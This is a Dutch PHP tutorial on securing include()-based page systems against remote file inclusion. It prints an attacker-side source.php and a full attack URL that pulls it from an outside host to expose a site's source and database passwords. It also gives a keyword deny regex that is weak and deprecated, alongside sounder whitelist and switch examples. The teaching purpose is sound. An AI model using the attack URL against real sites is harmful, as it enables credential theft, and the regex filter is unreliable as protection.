2. Uitleg include & paginasysteem. include() wordt nog vaak gebruikt om een paginasysteem te maken. Dat is ook logisch want het werkt gewoon eenvoudig. Maar het probleem zit hem in de veiligheid. Daar let men meestal niet op. include 'pagina.php'; kennen de meesten wel, maar hier wordt niet gebruik gemaakt van superglobals o.i.d.
Het principe van een veilig paginasysteem is heel eenvoudig, je moet er voor zorgen dat er geen ongewenste pagina's kunnen worden geïnclude.
3. Wat is er niet veilig aan dan?
Het komt niet bij alle servers voor, maar het kan voorkomen. Als jij de volgende code gebruikt, is het onverantwoord dat je een website bouwt.
Nu is het feit zo dat php scripts soms extern kunnen worden gedraaid, dat wil zeggen dat als jij een bestand met show_source() upload op jouw server, en die vervolgens included, dat je de gehele bron krijgt te zien.
Voorbeeld hoe dit te werk gaat:
source.php
<?php show_source($_GET['hack']); ?>
En als nu iemand de code uit paragraafje 3 gebruikt dan is het adres als volgt: http://www.voorbeeld.nl/index.php?pagina=http://www.mijnwebsite.nl/source.php?hack=index.php
Simpel hè? Maar zo kun je dus wel wachtwoorden achterhalen van bijvoorbeeld een MySQL database, die meestal weer gekoppeld zijn aan het Control Panel. Gelukkig zie je deze gevallen in de praktijk niet meer zo vaak, maar vroeger kon het bijna bij elke website.
4. Mogelijkheden.
Je hebt in principe 3 mogelijkheden om dit te voorkomen:
Dit zijn de 3 meest gangbare mogelijkheden en ik ga ze hier ook alle 3 behandelen.
4.1 Reguliere Expressies.
Je moet er op letten bij reguliere expressies dat er geen http:// en/of extensies in voorkomen. Dan zit je in de meeste gevallen al wel goed.
<?php
$sExpressie = "(http:|ftp:|shttp:|www.|.php|.pl|.cgi|.asp|index.php)";
// een soort van array met dingen die er niet in voor mogen komen
if(isset($_GET['pagina']))
{
if(eregi($sExpressie,$_GET['pagina']))
{ echo 'Ongeldige pagina opgegeven.'; }
else
{
if(file_exists($_GET['pagina'].'.php'))
{ include $_GET['pagina'].'.php'; }
else
{ echo 'De opgegeven pagina bestaat niet.'; }
}
}
?>
Wat je hier dus doet is kijken of er een van de ongewenste tekens in voor komt, zoja, dan included hij hem niet. Naast eregi() wordt hier ook nog file_exists() gebruikt om te kijken of het bestand bestaat. Dit is een veel gebruikte en eenvoudige manier van een paginasysteem.
4.2 Array's
Arrays zou je in principe op 2 manieren moeten kunnen laten werken, de ene manier is in combinatie met reguliere expressies en de andere werkt weer compleet anders. Die van de reguliere expresssies kun je in principe wel achterwege laten, want dat zou dan alleen maar omslachtiger te zijn. Het principe van arrays in een pagina systeem is dat je in_array() kunt gebruiken om te controleren of de pagina in de array staat. Eenvoudiger kan het niet.
<?php
$aPaginas = array('home','nieuws','links','gastenboek','informatie','contact');
// een gewone willekeurige array met de pagina's daarin die wel vertoont mogen worden.
if(isset($_GET['pagina']))
{
if(in_array($_GET['pagina'],$aPaginas))
{
if(file_exists($_GET['pagina'].'.php'))
{ include $_GET['pagina'].'.php'; }
else
{ echo 'De pagina bestaat niet.'; }
}
else
{ echo 'Ongeldige pagina opgegeven.'; }
}
?>
Hier wordt handig gebruik gemaakt van de functie in_array() om te controleren of de pagina in de array voorkomt. Een veilige manier, maar is niet geschikt voor websites met veel pagina's, dan zou je beter kunnen kiezen voor de reguliere expressies.
4.3 Switch, case en break
Deze laatste mogelijkheid is eigenlijk wel lompst, een voorbeeld moet het denk ik wel duidelijk maken.
<?php
if(isset($_GET['pagina']))
{
switch($_GET['pagina'])
{
case 'home': $sInc = 'home.php'; break;
case 'links': $sInc = 'links.php'; break;
case 'contact': $sInc = 'contact.php'; break;
default: $sInc = 'nieuws.php'; break;
}
include $sInc;
}
?>
Als je dus veel pagina's hebt is deze manier van includen onhandig, maar wel veilig.
5. Overig commentaar
Reguliere expressies worden doorgaans het meest gebruikt.
Deze soort geintjes gelden voor alles, $_GET en $_POST variabelen zijn extreem gevoelig.
Op php.net kun je meer informatie vinden over een bepaalde functie. Tik dan in je adresbalk: php.net/functienaam